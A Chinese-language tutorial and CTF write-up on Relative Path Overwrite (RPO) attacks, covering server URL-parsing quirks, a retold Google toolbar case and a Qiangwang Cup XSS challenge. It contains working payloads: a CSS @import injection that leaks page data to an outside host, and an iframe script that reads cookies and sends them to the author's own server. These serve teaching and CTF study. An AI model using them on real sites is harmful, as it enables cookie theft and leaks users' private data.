RPO 相对路径覆盖攻击

web安全 2019-11-10

​ : 本文作者:mntn

RPO (Relative Path Overwrite) 相对路径覆盖,最早由 Gareth Heyes 在其发表的文章中提出。主要是利用浏览器的一些特性和部分服务端的配置差异导致的漏洞,通过一些技巧,我们可以通过引入相对路径来引入其他资源文件,以达到我们的目的。

漏洞成因:

RPO 依赖于浏览器和网络服务器的反应,基于服务器的 Web 缓存技术和配置差异,以及服务器和客户端游览器的解析差异,利用前端代码中加载的 css/js 的相对路径来加载其他文件,最终浏览器将服务器返回的不是 css/js 文件,而是当作 css/js 来解析,从而导致xss、信息泄露等漏洞产生。

Apache 服务器和 Nginx 服务器对 url 解析差异

Apache 服务器对正常 url 的解析:

img

Nginx 服务器对正常 url 的解析:

img

而将 url 中的 / 编码为 %2f 之后,就会体现出 Apache 和 Nginx 的差异:

Apache 对编码后的 url 的解析:

img

Nginx 对编码后的 url 的解析:

img

可以看到,Apache 服务器对编码后的 url 不能正常解析,而 Nginx 却可以正常解析。

但其实Apache 服务器不能解析%2f 是默认配置问题,可见:链接包含”%2F”导致mod_rewrite失效

加载相对路径文件差异

在 Nginx 中,服务器可以正常解析 url ,即服务器在加载文件时会解码后找到对应文件返回客户端,但是在客户端时不会对 url 进行解码的

img

那么服务器在解码 url 的时候会发生什么有趣的事呢?

我们在 index.php 中使用相对路径引入 rpo.css 文件

 <?phpecho $_SERVER['SERVER_SOFTWARE'];echo "<script src='../static/rpo.css'></script>";echo "<link rel='stylesheet' href='../static/rpo.css'></link>"?>

看看在编码前后的 url 下有什么差异:

编码前,访问的 css 路径:

http://localhost/RPO/static/rpo.css

img

编码后,访问的 css 路径:

http://localhost/static/rpo.css

img

可以看到,编码前后访问的 css 文件路径改变,index.php 路径没有改变,由此可见服务器在访问相对路径文件时的差异是以最后一个可用的 / 作为根目录

这句话我看资料的时候一直不懂,自己复现的时候才明白。

由上所述,假如访问的路径为

http://localhost/RPO/rpo/index.php

那么最后一个可用的 / 就是 index.php 前面的,那么根目录就是

http://localhost/RPO/

相当于使用 cd .. 命令回到上一级文件夹,在 RPO 文件夹下有 rpo、static 两个文件夹,所以 index.php 是一个 rpo 文件,回到上一级是 RPO。

img

那么很简单了,url为

http://localhost/RPO/rpo%2findex.php

时,最后一个可用的 / 在 rpo 前面,那么根目录就是

http://localhost/

引入的 css 文件就在

http://localhost/static/rpo.css

简单利用

google 案例:

https://blog.innerht.ml/rpo-gadgets/

简单复述如下:

作者找到了一个存在 RPO 攻击可能性的页面:

http://www.google.com/tools/toolbar/buttons/apis/howto_guide.html

页面中存在如下语句引入相对路径的 css 文件:

 <html><head><title>Google Toolbar API - Guide to Making Custom Buttons</title>    <link href="../../styles.css" rel="stylesheet" type="text/css" />[..]

作者研究了目标服务器如何解释路径,发现浏览器以 / 分隔目录,但是对于在路径中使用斜杠的服务器并不一定意味着有目录。例如,JSP 接受路径参数,该参数将分号后面的所有内容作为参数处理(例如 http://example.com/path;/notpath ),而浏览器无法识别此模式并认为它仍在路径中并且有一个目录。

同时,Google 的工具栏也有自己的解释怪癖:

在发送请求给目标之前,会将请求进行处理并解码所有路径,但依旧不能正确处理 %2f/

于是,作者利用 RPO 攻击,引入了一个可控的页面

http://www.google.com/gadgets/directory?synd=toolbar&frontpage=1&q={}*{background:red}

其中 q 是指定搜索项,并会将该参数反应在页面上。

RPO 需要持续的注入,因为导入的样式表不包含查询字符串本身。但是由于路径解码的行为,我们能使用如下 payload 导入样式:

http://www.google.com/tools/toolbar/buttons%2fgallery%3fq%3d%250a%257B%257D*%257Bbackground%253Ared%257D/..%2f/apis/howto_guide.html

css

利用浏览器特性,可以控制路径来是其解析任何非 css 的文件为 css,从而产生漏洞,并且 css 语法没有那么严格,可以存在很多脏字符。

 {}*{color: red;}

向上面的语句,即使有不符合 css 语法的地方,游览器也会忽略,继续向下执行直到有合法的 css 代码,所以我们引入的 css 文件可以有很多种写的方式。

如果页面中包括隐私数据和注入点的话我们可以用 CSS Magic 去偷取,使用条件:

1、注入点应该在隐私数据之前

2、注入点允许 %0a,%0c,%0d 等空白字符

3、隐私数据不包含段间歇

在 Google 的例子中就有如下 payload 用来获取隐私数据:

payload: http://www.google.com/search?nord=1&q={}%0a@import"//innerht.ml?

其中 @import 是一种不常使用的,容易被前端开发忽视的方法。用来引入 css 文件,import 先于除了 @charset 外的其他 css 规则。

js

js 相比 css 语法就显得严格多了,不能包含脏字符,所以写 payload 的时候要注意些。不过可以通过 eavl(String.fromCharCode(97)) 的方式执行 js 语句

如果是 html 语句的 payload,请使用 document.write 写入 html dom 中

CTF 实战利用

RPO 导致 XSS

题目来自第二届强网杯 web 题目 show your mind,题目描述:

http://39.107.33.96:20000 Please help me find the vulnerability before I finish this site! hint:xss bot 使用 phantomjs,版本 2.1.1 hint2 : xss 的点不在 report 页面

在 Write article 页面可以写入任意内容,Overview 页面查看当前账户的所有留言,发现无论输入什么语句都不会造成 xss,查看源码发现

 <script src="../static/js/jquery.min.js"></script><script src="../static/js/bootstrap.min.js"></script>

存在 rpo 漏洞,尝试了一下,发现 jquery.min.js 是我们可控的

写入新文章 alert(1) ,点击 view,在 url 后面加上 /..%2f..%2f..%2f..%2f,自动跳转到初始页面,此时弹窗

img

查看源码,发现 jquery.min.js 的 url 地址

http://39.107.33.96:20000/index.php/view/article/2849/static/js/jquery.min.js

内容就是我们所输入的 alert(1)

那么引入js 的语句就相当于

<script>alert(1)</script>

在写入新文章时,如果填写了标题,就会引入html代码,类似如下:

img

此时解析为js 时就会引起异常,核心点就在这里,如何使网页将我们的输入解析成正确的js代码?

我们的输入最终会反应在jquery.min.js 中,首先要我们的输入要符合js 语法,并且能绕过检测过滤达到我们的目的,那么使用fromCharCode 就是最好的办法,然后,html 中的`` 会引入执行js 代码,js会自动把Unicode值转为string,html接着解析string就可以了,漏洞利用完成

所以解题思路出来了,利用 rpo 直接打 cookie,但是这里是 js 文件,语法严格,而且对一些特殊字符进行了实体化处理,payload 采用上面提到的 eval(String.fromCharCode(97)) 方式

获取根目录的cookie:

b=document.cookie;a="";document.write(a);

ip 是自己的 vps ip 或着 xss 平台

document.write(a) 将语句输出写入html 之中,然后继续解析document.write 输出的内容

img

将页面通过 Report 页面发给管理,后台自动点击脚本访问url,vps 获取查看 cookie 即可得到提示 Try to get the cookie of path "/QWB_fl4g/QWB/",也就是需要获取不同目录下的 cookie,可以通过 iframe 标签来加载,最后获取 iframe 里的 cookie

柠檬爷爷的 payload:

 var i = document.createElement("iframe");i.setAttribute("src", "/QWB_fl4g/QWB/");document.body.appendChild(i);i.addEventListener( "load", function(){    var content = i.contentWindow.document.cookie;    location='//ip/'+btoa(content);  }, false);

最后即可拿到 flag,Report 页面需要提交一个 code ,用脚本跑一下就能得到,本身是限制脚本的自动化攻击

 <?phperror_reporting(0);// 自行修改变量a 对应的值$a = "87d445";for($i=1;$i<1000000;$i++){    if(substr(md5($i),0,6) == $a){        print($i);        exit();    }}echo "ok";

去年pwnhub 也有一道RPO 的题目,大家可以去看看firesun的wp,出题人自己的wp 用很巧妙的方式获取了网页源代码

RPO 导致信息泄露

Web 服务器欺骗请求:

当目标网站存在负载服务器时,

访问当前页面下,事实上并不存在的 css 等静态文件时,会在缓存服务器中缓存下存在 用户账号密码的静态文件页面,让攻击者可以直接访问用户账号。

可用于缓存的文件后缀列表:

aif ,aiff,au,avi,bin,bmp,cab,carb,cct,cdf,class,css,doc,dcr,dtd,gcf,gff,gif,grv,hdml,hqx,ico,ini,jpeg,jpg, js,mov,mp3,nc,pct,ppc,pws,swa,swf,txt,vbs,w32,wav,wbmp,wml,wmlc,wmls,wmlsc,xsd,zip

reffer

https://xz.aliyun.com/t/2220

http://www.cnblogs.com/iamstudy/articles/2th_qiangwangbei_ctf_writeup.html

http://www.ideawu.net/blog/archives/494.html


本文由 信安之路 创作,采用 知识共享署名 3.0,可自由转载、引用,但需署名作者且注明文章出处。

楼主残忍的关闭了评论